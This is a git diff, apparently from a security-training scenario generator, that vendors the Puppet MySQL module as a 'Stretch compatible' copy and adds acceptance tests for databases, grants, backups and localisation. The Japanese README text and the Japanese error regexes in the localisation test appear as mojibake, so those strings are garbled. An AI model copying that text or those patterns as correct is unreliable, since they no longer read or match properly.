default'モードãŒå°Žå…¥ã•れã¦ã„ã‚‹ã‹ã‚‰ã§ã™ã€‚ã“れã¯ã€MySQLãŒãƒ©ãƒ³ãƒ€ãƒ ãªãƒ‘スワードを作æˆã—ã¦STDOUTã«æ›¸ã込むã“ã¨ã‚’æ„味ã—ã¾ã™ã€‚ã—ãŸãŒã£ã¦ã€ä½¿ç”¨å¯èƒ½ãªèªè¨¼æƒ…å ±ãŒãªã„ãŸã‚PuppetãŒå¾Œã§ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã‚µãƒ¼ãƒã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“。 + +ã“ã®ã‚¿ã‚¤ãƒ—ã¯å†…部タイプã§ã‚ã‚‹ãŸã‚ã€ç›´æŽ¥å‘¼ã³å‡ºã™ã“ã¨ã¯ã§ãã¾ã›ã‚“。 + +### ファクト + +#### `mysql_version` + +`mysql --version`ã‹ã‚‰ã®å‡ºåŠ›ã‚’è§£æžã—ã¦MySQLã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’判断ã—ã¾ã™ã€‚ + +#### `mysql_server_id` + +ノードã®MACアドレスã«åŸºã¥ã„ã¦ã€`server_id`ã¨ã—ã¦ä½¿ç”¨å¯èƒ½ãªä¸€æ„ãªIDを作æˆã—ã¾ã™ã€‚ループãƒãƒƒã‚¯ã‚¤ãƒ³ã‚¿ãƒ¼ãƒ•ェイスã—ã‹ãªã„ノードã§ã¯ã€ã“ã®ãƒ•ァクトã¯*常ã«*`0`ã‚’è¿”ã—ã¾ã™ã€‚ã“れらã®ãƒŽãƒ¼ãƒ‰ã¯å¤–éƒ¨ã«æŽ¥ç¶šã•れã¦ã„ãªã„ãŸã‚ã€ã“れãŒè¡çªã®åŽŸå› ã«ãªã‚‹å¯èƒ½æ€§ã¯ã‚りã¾ã›ã‚“。 + +### タスク + +MySQLモジュールã«ã¯ã‚µãƒ³ãƒ—ルタスクãŒã‚りã€ãƒ¦ãƒ¼ã‚¶ã¯ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã«å¯¾ã—ã¦ä»»æ„ã®SQLを実行ã§ãã¾ã™ã€‚[Puppet Enterpriseマニュアル](https://puppet.com/docs/pe/2017.3/orchestrator/running_tasks.html)ã¾ãŸã¯[Boltマニュアル](https://puppet.com/docs/bolt/latest/bolt.html)ã§ã€ã‚¿ã‚¹ã‚¯ã‚’実行ã™ã‚‹æ–¹æ³•ã«é–¢ã™ã‚‹æƒ…報をå‚ç…§ã—ã¦ãã ã•ã„。 + +## 制約事項 + +ã“ã®ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¯ä»¥ä¸‹ã®ãƒ—ラットフォームã§ãƒ†ã‚¹ãƒˆã•れã¦ã„ã¾ã™ã€‚ + +* RedHat Enterprise Linux 5ã€6ã€7 +* Debian 6ã€7ã€8 +* CentOS 5〠6ã€7 +* Ubuntu 10.04ã€12.04ã€14.04ã€16.04 +* Scientific Linux 5ã€6 +* SLES 11 + +ä»–ã®ãƒ—ラットフォームã§ã¯æœ€å°é™ã®ãƒ†ã‚¹ãƒˆã—ã‹è¡Œã£ã¦ã„ãªã„ãŸã‚ã€ä¿è¨¼ã¯ã§ãã¾ã›ã‚“。 + +**注æ„:** mysqlbackup.shã¯ã€MySQL 5.7以é™ã§ã¯å‹•作ã›ãšã€ã‚µãƒãƒ¼ãƒˆã•れã¦ã„ã¾ã›ã‚“。 + +Debian 9ã®äº’æ›æ€§ã¯å®Œå…¨ã«ã¯æ¤œè¨¼ã•れã¦ã„ã¾ã›ã‚“。 + +## 開発 + +Puppet Forge上ã®Puppetモジュールã¯ã‚ªãƒ¼ãƒ—ンプロジェクトã§ã‚りã€ãã®ä¾¡å€¤ã‚’ç¶­æŒã™ã‚‹ã«ã¯ã‚³ãƒŸãƒ¥ãƒ‹ãƒ†ã‚£ã‹ã‚‰ã®è²¢çŒ®ãŒæ¬ ã‹ã›ã¾ã›ã‚“。PuppetãŒæä¾›ã™ã‚‹è†¨å¤§ãªæ•°ã®ãƒ—ラットフォームやã€ç„¡æ•°ã®ãƒãƒ¼ãƒ‰ã‚¦ã‚§ã‚¢ã€ã‚½ãƒ•トウェアã€ãƒ‡ãƒ—ロイ設定ã«å¼Šç¤¾ãŒã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã“ã¨ã¯ä¸å¯èƒ½ã§ã™ã€‚ + +弊社ã¯ã€ã§ãã‚‹ã ã‘変更ã«è²¢çŒ®ã—ã‚„ã™ãã—ã¦ã€å¼Šç¤¾ã®ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ãŒãƒ¦ãƒ¼ã‚¶ã®ç’°å¢ƒã§æ©Ÿèƒ½ã™ã‚‹çŠ¶æ…‹ã‚’ç¶­æŒã—ãŸã„ã¨è€ƒãˆã¦ã„ã¾ã™ã€‚弊社ã§ã¯ã€çжæ³ã‚’把æ¡ã§ãるよã†ã€è²¢çŒ®è€…ã«å¾“ã£ã¦ã„ãŸã ãã¹ãã„ãã¤ã‹ã®ã‚¬ã‚¤ãƒ‰ãƒ©ã‚¤ãƒ³ã‚’設ã‘ã¦ã„ã¾ã™ã€‚ + +弊社ã®è©³ç´°ãª[モジュール貢献ã«ã¤ã„ã¦ã®ã‚¬ã‚¤ãƒ‰ãƒ©ã‚¤ãƒ³](https://docs.puppetlabs.com/forge/contributing.html)ã‚’ã”確èªãã ã•ã„。 + +### 作æˆè€… + +ã“ã®ãƒ¢ã‚¸ãƒ¥ãƒ¼ãƒ«ã¯ã€David SchmittãŒä½œæˆã—ãŸã‚‚ã®ã‚’ベースã«ã—ã¦ã€ä»¥ä¸‹ã®ä½œæˆè€…ã«ã‚ˆã‚‹è²¢çŒ®å†…容ãŒåŠ ãˆã‚‰ã‚Œã¦ã„ã¾ã™(Puppet Labsを除ã)。 + +* Larry Ludwig +* Christian G. Warden +* Daniel Black +* Justin Ellison +* Lowe Schmidt +* Matthias Pigulla +* William Van Hevelingen +* Michael Arnold +* Chris Weyl +* Daniël van Eeden +* Jan-Otto Kröpke +* Timothy Sven Nelson \ No newline at end of file diff --git a/modules/services/unix/database/mysql/secgen_metadata.xml b/modules/services/unix/database/mysql_stretch_compatible/mysql/secgen_metadata.xml similarity index 88% rename from modules/services/unix/database/mysql/secgen_metadata.xml rename to modules/services/unix/database/mysql_stretch_compatible/mysql/secgen_metadata.xml index d7bc44106..206f14d22 100644 --- a/modules/services/unix/database/mysql/secgen_metadata.xml +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/secgen_metadata.xml @@ -3,7 +3,7 @@ - MySQL database + MySQL database - Stretch compatible Connor Wilson David Schmitt Puppet Labs @@ -19,6 +19,9 @@ mysql GPL v2 + + .*Wheezy.* + mysql diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/locales_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/locales_spec.rb new file mode 100644 index 000000000..e3cef352a --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/locales_spec.rb @@ -0,0 +1,103 @@ +require 'spec_helper_acceptance' +require 'beaker/i18n_helper' + +describe 'mysql localization', if: (fact('osfamily') == 'Debian' || fact('osfamily') == 'RedHat') && puppet_version =~ %r{(^4\.10\.[56789]|5\.\d\.\d)} do + before :all do + hosts.each do |host| + on(host, "sed -i \"96i FastGettext.locale='ja'\" /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet.rb") + change_locale_on(host, 'ja_JP.utf-8') + end + end + + context 'when triggering puppet simple string error' do + let(:pp) do + <<-MANIFEST + class { 'mysql::server': + config_file => '/tmp/mysql.sFlJdV/my.cnf', + includedir => '/tmp/mysql.sFlJdV/include', + manage_config_file => 'true', + override_options => { 'mysqld' => { 'key_buffer_size' => '32M' }}, + package_ensure => 'present', + purge_conf_dir => 'true', + remove_default_accounts => 'true', + restart => 'true', + root_group => 'root', + root_password => 'test', + old_root_password => 'kittensnmittens', + service_enabled => 'false' + } + MANIFEST + end + + it 'displays Japanese error' do + apply_manifest(pp, catch_error: true) do |r| + expect(r.stderr).to match(%r{`old_root_password`属性ã¯å»ƒæ­¢äºˆå®šã§ã‚りã€ä»Šå¾Œã®ãƒªãƒªãƒ¼ã‚¹ã§å»ƒæ­¢ã•れã¾ã™ã€‚}i) + end + end + end + + context 'when triggering puppet interpolated string failure' do + let(:pp) do + <<-MANIFEST + class { 'mysql::server': root_password => 'password' } + class { 'mysql::server::backup': + backupuser => 'myuser', + backuppassword => 'mypassword', + backupdir => '/tmp/backups', + backupcompress => true, + prescript => true, + provider => 'mysqldump', + execpath => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin', + } + MANIFEST + end + + it 'displays Japanese failure' do + apply_manifest(pp, catch_failures: true) do |r| + expect(r.stderr).to match(%r{'prescript'オプションã¯ã€ç¾åœ¨ã€mysqldumpãƒãƒƒã‚¯ã‚¢ãƒƒãƒ—プロãƒã‚¤ãƒ€å‘ã‘ã«ã¯å®Ÿè£…ã•れã¦ã„ã¾ã›ã‚“。}i) + end + end + end + + context 'when triggering ruby simple string failure' do + let(:pp) do + <<-MANIFEST + mysql::db { 'mydb': + user => 'thisisalongusernametestfortodayandtomorrowandthenextday', + password => 'mypass', + host => 'localhost', + grant => ['SELECT', 'UPDATE'], + } + MANIFEST + end + + it 'displays Japanese failure' do + apply_manifest(pp, expect_failures: true) do |r| + expect(r.stderr).to match(%r{MySQLユーザåã¯æœ€å¤§\d{2}文字ã«åˆ¶é™ã•れã¦ã„ã¾ã™ã€‚}i) + end + end + end + + context 'when triggering ruby interpolated string error' do + let(:pp) do + <<-MANIFEST + mysql_user{ '"name@localhost': + ensure => 'present', + } + MANIFEST + end + + it 'displays Japanese error' do + apply_manifest(pp, expect_failures: true) do |r| + expect(r.stderr).to match(%r{無効ãªãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒ¦ãƒ¼ã‚¶"name@localhost}i) + end + end + end + + after :all do + hosts.each do |host| + on(host, 'sed -i "96d" /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet.rb') + change_locale_on(host, 'en_US') + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_backup_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_backup_spec.rb new file mode 100644 index 000000000..b0fecb0ca --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_backup_spec.rb @@ -0,0 +1,202 @@ +require 'spec_helper_acceptance' +require 'puppet/util/package' +require_relative './mysql_helper.rb' + +describe 'mysql::server::backup class' do + context 'should work with no errors' do + pp = <<-MANIFEST + class { 'mysql::server': root_password => 'password' } + mysql::db { [ + 'backup1', + 'backup2' + ]: + user => 'backup', + password => 'secret', + } + + class { 'mysql::server::backup': + backupuser => 'myuser', + backuppassword => 'mypassword', + backupdir => '/tmp/backups', + backupcompress => true, + postscript => [ + 'rm -rf /var/tmp/mysqlbackups', + 'rm -f /var/tmp/mysqlbackups.done', + 'cp -r /tmp/backups /var/tmp/mysqlbackups', + 'touch /var/tmp/mysqlbackups.done', + ], + execpath => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin', + } + MANIFEST + it 'when configuring mysql backups' do + apply_manifest(pp, catch_failures: true) + apply_manifest(pp, catch_failures: true) + end + end + + describe 'mysqlbackup.sh' do + before(:all) do + pre_run + end + + it 'runs mysqlbackup.sh with no errors' do + unless version_is_greater_than('5.7.0') + shell('/usr/local/sbin/mysqlbackup.sh') do |r| + expect(r.stderr).to eq('') + end + end + end + + it 'dumps all databases to single file' do + unless version_is_greater_than('5.7.0') + shell('ls -l /tmp/backups/mysql_backup_*-*.sql.bz2 | wc -l') do |r| + expect(r.stdout).to match(%r{1}) + expect(r.exit_code).to be_zero + end + end + end + + context 'should create one file per database per run' do + it 'executes mysqlbackup.sh a second time' do + unless version_is_greater_than('5.7.0') + shell('sleep 1') + shell('/usr/local/sbin/mysqlbackup.sh') + end + end + + it 'creates at least one backup tarball' do + unless version_is_greater_than('5.7.0') + shell('ls -l /tmp/backups/mysql_backup_*-*.sql.bz2 | wc -l') do |r| + expect(r.stdout).to match(%r{2}) + expect(r.exit_code).to be_zero + end + end + end + end + # rubocop:enable RSpec/MultipleExpectations, RSpec/ExampleLength + end + + context 'with one file per database' do + context 'should work with no errors' do + pp = <<-MANIFEST + class { 'mysql::server': root_password => 'password' } + mysql::db { [ + 'backup1', + 'backup2' + ]: + user => 'backup', + password => 'secret', + } + + class { 'mysql::server::backup': + backupuser => 'myuser', + backuppassword => 'mypassword', + backupdir => '/tmp/backups', + backupcompress => true, + file_per_database => true, + postscript => [ + 'rm -rf /var/tmp/mysqlbackups', + 'rm -f /var/tmp/mysqlbackups.done', + 'cp -r /tmp/backups /var/tmp/mysqlbackups', + 'touch /var/tmp/mysqlbackups.done', + ], + execpath => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin', + } + MANIFEST + it 'when configuring mysql backups' do + apply_manifest(pp, catch_failures: true) + apply_manifest(pp, catch_failures: true) + end + end + + describe 'mysqlbackup.sh' do + before(:all) do + pre_run + end + + it 'runs mysqlbackup.sh with no errors without root credentials' do + unless version_is_greater_than('5.7.0') + shell('HOME=/tmp/dontreadrootcredentials /usr/local/sbin/mysqlbackup.sh') do |r| + expect(r.stderr).to eq('') + end + end + end + + it 'creates one file per database' do + unless version_is_greater_than('5.7.0') + %w[backup1 backup2].each do |database| + shell("ls -l /tmp/backups/mysql_backup_#{database}_*-*.sql.bz2 | wc -l") do |r| + expect(r.stdout).to match(%r{1}) + expect(r.exit_code).to be_zero + end + end + end + end + + it 'executes mysqlbackup.sh a second time' do + unless version_is_greater_than('5.7.0') + shell('sleep 1') + shell('HOME=/tmp/dontreadrootcredentials /usr/local/sbin/mysqlbackup.sh') + end + end + + it 'has one file per database per run' do + unless version_is_greater_than('5.7.0') + %w[backup1 backup2].each do |database| + shell("ls -l /tmp/backups/mysql_backup_#{database}_*-*.sql.bz2 | wc -l") do |r| + expect(r.stdout).to match(%r{2}) + expect(r.exit_code).to be_zero + end + end + end + end + # rubocop:enable RSpec/MultipleExpectations, RSpec/ExampleLength + end + end + + context 'with triggers and routines' do + pre_run + pp = <<-MANIFEST + class { 'mysql::server': root_password => 'password' } + mysql::db { [ + 'backup1', + 'backup2' + ]: + user => 'backup', + password => 'secret', + } + package { 'bzip2': + ensure => present, + } + class { 'mysql::server::backup': + backupuser => 'myuser', + backuppassword => 'mypassword', + backupdir => '/tmp/backups', + backupcompress => true, + file_per_database => true, + include_triggers => #{version_is_greater_than('5.1.5')}, + include_routines => true, + postscript => [ + 'rm -rf /var/tmp/mysqlbackups', + 'rm -f /var/tmp/mysqlbackups.done', + 'cp -r /tmp/backups /var/tmp/mysqlbackups', + 'touch /var/tmp/mysqlbackups.done', + ], + execpath => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin', + require => Package['bzip2'], + } + MANIFEST + it 'when configuring mysql backups with triggers and routines' do + apply_manifest(pp, catch_failures: true) + end + + it 'runs mysqlbackup.sh with no errors' do + pre_run + unless version_is_greater_than('5.7.0') + shell('/usr/local/sbin/mysqlbackup.sh') do |r| + expect(r.stderr).to eq('') + end + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_db_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_db_spec.rb new file mode 100644 index 000000000..dc0af4012 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_db_spec.rb @@ -0,0 +1,68 @@ +require 'spec_helper_acceptance' + +describe 'mysql::db define' do + describe 'creating a database' do + let(:pp) do + <<-MANIFEST + class { 'mysql::server': root_password => 'password' } + mysql::db { 'spec1': + user => 'root1', + password => 'password', + } + MANIFEST + end + + it_behaves_like 'a idempotent resource' + + describe command("mysql -e 'show databases;'") do + its(:exit_status) { is_expected.to eq 0 } + its(:stdout) { is_expected.to match %r{^spec1$} } + end + end + + describe 'creating a database with post-sql' do + let(:pp) do + <<-MANIFEST + class { 'mysql::server': override_options => { 'root_password' => 'password' } } + file { '/tmp/spec.sql': + ensure => file, + content => 'CREATE TABLE table1 (id int);', + before => Mysql::Db['spec2'], + } + mysql::db { 'spec2': + user => 'root1', + password => 'password', + sql => '/tmp/spec.sql', + } + MANIFEST + end + + it_behaves_like 'a idempotent resource' + + describe command("mysql -e 'show tables;' spec2") do + its(:exit_status) { is_expected.to eq 0 } + its(:stdout) { is_expected.to match %r{^table1$} } + end + end + + describe 'creating a database with dbname parameter' do + let(:check_command) { ' | grep realdb' } + let(:pp) do + <<-MANIFEST + class { 'mysql::server': override_options => { 'root_password' => 'password' } } + mysql::db { 'spec1': + user => 'root1', + password => 'password', + dbname => 'realdb', + } + MANIFEST + end + + it_behaves_like 'a idempotent resource' + + describe command("mysql -e 'show databases;'") do + its(:exit_status) { is_expected.to eq 0 } + its(:stdout) { is_expected.to match %r{^realdb$} } + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_helper.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_helper.rb new file mode 100644 index 000000000..e041d20bc --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_helper.rb @@ -0,0 +1,8 @@ +def pre_run + apply_manifest("class { 'mysql::server': root_password => 'password' }", catch_failures: true) + @mysql_version = (on default, 'mysql --version').output.chomp.match(%r{\d+\.\d+\.\d+})[0] +end + +def version_is_greater_than(version) + Puppet::Util::Package.versioncmp(@mysql_version, version) > 0 +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_server_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_server_spec.rb new file mode 100644 index 000000000..3b9b8204c --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_server_spec.rb @@ -0,0 +1,102 @@ +require 'spec_helper_acceptance' + +describe 'mysql class' do + # rubocop:disable RSpec/InstanceVariable + describe 'advanced config' do + let(:pp) do + <<-MANIFEST + class { 'mysql::server': + manage_config_file => 'true', + override_options => { 'mysqld' => { 'key_buffer_size' => '32M' }}, + package_ensure => 'present', + purge_conf_dir => 'true', + remove_default_accounts => 'true', + restart => 'true', + root_group => 'root', + root_password => 'test', + service_enabled => 'true', + service_manage => 'true', + users => { + 'someuser@localhost' => { + ensure => 'present', + max_connections_per_hour => '0', + max_queries_per_hour => '0', + max_updates_per_hour => '0', + max_user_connections => '0', + password_hash => '*F3A2A51A9B0F2BE2468926B4132313728C250DBF', + }}, + grants => { + 'someuser@localhost/somedb.*' => { + ensure => 'present', + options => ['GRANT'], + privileges => ['SELECT', 'INSERT', 'UPDATE', 'DELETE'], + table => 'somedb.*', + user => 'someuser@localhost', + }, + }, + databases => { + 'somedb' => { + ensure => 'present', + charset => 'utf8', + }, + } + } + MANIFEST + end + + it_behaves_like 'a idempotent resource' + end + + describe 'minimal config' do + before(:all) do + @tmpdir = default.tmpdir('mysql') + end + let(:pp) do + <<-MANIFEST + class { 'mysql::server': + manage_config_file => 'false', + override_options => { 'mysqld' => { 'key_buffer_size' => '32M' }}, + package_ensure => 'present', + purge_conf_dir => 'false', + remove_default_accounts => 'false', + restart => 'false', + root_group => 'root', + root_password => 'test', + service_enabled => 'false', + service_manage => 'false', + users => {}, + grants => {}, + databases => {}, + } + MANIFEST + end + + it_behaves_like 'a idempotent resource' + end + # rubocop:enable RSpec/InstanceVariable + + describe 'syslog configuration' do + let(:pp) do + <<-MANIFEST + class { 'mysql::server': + override_options => { 'mysqld' => { 'log-error' => undef }, 'mysqld_safe' => { 'log-error' => false, 'syslog' => true }}, + } + MANIFEST + end + + it_behaves_like 'a idempotent resource' + end + + context 'when changing the password' do + let(:password) { 'THE NEW SECRET' } + let(:pp) { "class { 'mysql::server': root_password => '#{password}' }" } + + it 'does not display the password' do + result = apply_manifest(pp, catch_failures: true) + # this does not actually prove anything, as show_diff in the puppet config defaults to false. + expect(result.stdout).not_to match %r{#{password}} + end + + it_behaves_like 'a idempotent resource' + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/centos-7-x64.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/centos-7-x64.yml new file mode 100644 index 000000000..5eebdefbf --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/centos-7-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + centos-7-x64: + roles: + - agent + - default + platform: el-7-x86_64 + hypervisor: vagrant + box: puppetlabs/centos-7.2-64-nocm +CONFIG: + type: foss diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/debian-8-x64.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/debian-8-x64.yml new file mode 100644 index 000000000..fef6e63ca --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/debian-8-x64.yml @@ -0,0 +1,10 @@ +HOSTS: + debian-8-x64: + roles: + - agent + - default + platform: debian-8-amd64 + hypervisor: vagrant + box: puppetlabs/debian-8.2-64-nocm +CONFIG: + type: foss diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/default.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/default.yml new file mode 100644 index 000000000..dba339c46 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/default.yml @@ -0,0 +1,10 @@ +HOSTS: + ubuntu-1404-x64: + roles: + - agent + - default + platform: ubuntu-14.04-amd64 + hypervisor: vagrant + box: puppetlabs/ubuntu-14.04-64-nocm +CONFIG: + type: foss diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/centos-7.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/centos-7.yml new file mode 100644 index 000000000..a3333aac5 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/centos-7.yml @@ -0,0 +1,12 @@ +HOSTS: + centos-7-x64: + platform: el-7-x86_64 + hypervisor: docker + image: centos:7 + docker_preserve_image: true + docker_cmd: '["/usr/sbin/init"]' + # install various tools required to get the image up to usable levels + docker_image_commands: + - 'yum install -y crontabs tar wget openssl sysvinit-tools iproute which initscripts' +CONFIG: + trace_limit: 200 diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/debian-8.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/debian-8.yml new file mode 100644 index 000000000..df5c31944 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/debian-8.yml @@ -0,0 +1,11 @@ +HOSTS: + debian-8-x64: + platform: debian-8-amd64 + hypervisor: docker + image: debian:8 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + - 'apt-get update && apt-get install -y net-tools wget locales strace lsof && echo "en_US.UTF-8 UTF-8" > /etc/locale.gen && locale-gen' +CONFIG: + trace_limit: 200 diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/ubuntu-14.04.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/ubuntu-14.04.yml new file mode 100644 index 000000000..b1efa5839 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/nodesets/docker/ubuntu-14.04.yml @@ -0,0 +1,12 @@ +HOSTS: + ubuntu-1404-x64: + platform: ubuntu-14.04-amd64 + hypervisor: docker + image: ubuntu:14.04 + docker_preserve_image: true + docker_cmd: '["/sbin/init"]' + docker_image_commands: + # ensure that upstart is booting correctly in the container + - 'rm /usr/sbin/policy-rc.d && rm /sbin/initctl && dpkg-divert --rename --remove /sbin/initctl && apt-get update && apt-get install -y net-tools wget && locale-gen en_US.UTF-8' +CONFIG: + trace_limit: 200 diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/sql_task_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/sql_task_spec.rb new file mode 100644 index 000000000..1ebed9c9e --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/sql_task_spec.rb @@ -0,0 +1,23 @@ +# run a test task +require 'spec_helper_acceptance' + +describe 'mysql tasks', if: puppet_version =~ %r{(5\.\d\.\d)} && fact('operatingsystem') != 'SLES' do + describe 'execute some sql' do + pp = <<-MANIFEST + class { 'mysql::server': root_password => 'password' } + mysql::db { 'spec1': + user => 'root1', + password => 'password', + } + MANIFEST + + it 'sets up a mysql instance' do + apply_manifest_on(hosts, pp, catch_failures: true) + end + + it 'execute arbitary sql' do + result = run_task(task_name: 'mysql::sql', params: 'sql="show databases;" password=password') + expect_multiple_regexes(result: result, regexes: [%r{information_schema}, %r{#{task_summary_line}}]) + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb new file mode 100644 index 000000000..fc207a6b5 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_database_spec.rb @@ -0,0 +1,73 @@ +require 'spec_helper_acceptance' + +describe 'mysql_database' do + describe 'setup' do + pp = <<-MANIFEST + class { 'mysql::server': } + MANIFEST + it 'works with no errors' do + apply_manifest(pp, catch_failures: true) + end + end + + describe 'creating database' do + pp = <<-MANIFEST + mysql_database { 'spec_db': + ensure => present, + } + MANIFEST + it 'works without errors' do + apply_manifest(pp, catch_failures: true) + end + + it 'finds the database #stdout' do + shell("mysql -NBe \"SHOW DATABASES LIKE 'spec_db'\"") do |r| + expect(r.stdout).to match(%r{^spec_db$}) + end + end + it 'finds the database #stderr' do + shell("mysql -NBe \"SHOW DATABASES LIKE 'spec_db'\"") do |r| + expect(r.stderr).to be_empty + end + end + end + + describe 'charset and collate' do + pp = <<-MANIFEST + mysql_database { 'spec_latin1': + charset => 'latin1', + collate => 'latin1_swedish_ci', + } + mysql_database { 'spec_utf8': + charset => 'utf8', + collate => 'utf8_general_ci', + } + MANIFEST + it 'creates two db of different types idempotently' do + apply_manifest(pp, catch_failures: true) + apply_manifest(pp, catch_changes: true) + end + + it 'finds latin1 db #stdout' do + shell("mysql -NBe \"SHOW VARIABLES LIKE '%_database'\" spec_latin1") do |r| + expect(r.stdout).to match(%r{^character_set_database\tlatin1\ncollation_database\tlatin1_swedish_ci$}) + end + end + it 'finds latin1 db #stderr' do + shell("mysql -NBe \"SHOW VARIABLES LIKE '%_database'\" spec_latin1") do |r| + expect(r.stderr).to be_empty + end + end + + it 'finds utf8 db #stdout' do + shell("mysql -NBe \"SHOW VARIABLES LIKE '%_database'\" spec_utf8") do |r| + expect(r.stdout).to match(%r{^character_set_database\tutf8\ncollation_database\tutf8_general_ci$}) + end + end + it 'finds utf8 db #stderr' do + shell("mysql -NBe \"SHOW VARIABLES LIKE '%_database'\" spec_utf8") do |r| + expect(r.stderr).to be_empty + end + end + end +end diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb new file mode 100644 index 000000000..981dd85a2 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/types/mysql_grant_spec.rb @@ -0,0 +1,748 @@ +require 'spec_helper_acceptance' +require 'puppet/util/package' +require_relative '../mysql_helper.rb' + +describe 'mysql_grant' do + before(:all) do + pp = <<-MANIFEST + class { 'mysql::server': + root_password => 'password', + } + MANIFEST + + apply_manifest(pp, catch_failures: true) + end + + describe 'missing privileges for user' do + pp = <<-MANIFEST + mysql_user { 'test1@tester': + ensure => present, + } + mysql_grant { 'test1@tester/test.*': + ensure => 'present', + table => 'test.*', + user => 'test1@tester', + require => Mysql_user['test1@tester'], + } + MANIFEST + it 'fails' do + expect(apply_manifest(pp, expect_failures: true).stderr).to match(%r{`privileges` `parameter` is required}) + end + + it 'does not find the user' do + expect(shell('mysql -NBe "SHOW GRANTS FOR test1@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'test1' on host 'tester'}) + end + end + + describe 'missing table for user' do + pp = <<-MANIFEST + mysql_user { 'atest@tester': + ensure => present, + } + mysql_grant { 'atest@tester/test.*': + ensure => 'present', + user => 'atest@tester', + privileges => ['ALL'], + require => Mysql_user['atest@tester'], + } + MANIFEST + it 'fails' do + apply_manifest(pp, expect_failures: true) + end + + it 'does not find the user' do + expect(shell('mysql -NBe "SHOW GRANTS FOR atest@tester"', acceptable_exit_codes: 1).stderr).to match(%r{There is no such grant defined for user 'atest' on host 'tester'}) + end + end + + describe 'adding privileges' do + pp = <<-MANIFEST + mysql_user { 'test2@tester': + ensure => present, + } + mysql_grant { 'test2@tester/test.*': + ensure => 'present', + table => 'test.*', + user => 'test2@tester', + privileges => ['SELECT', 'UPDATE'], + require => Mysql_user['test2@tester'], + } + 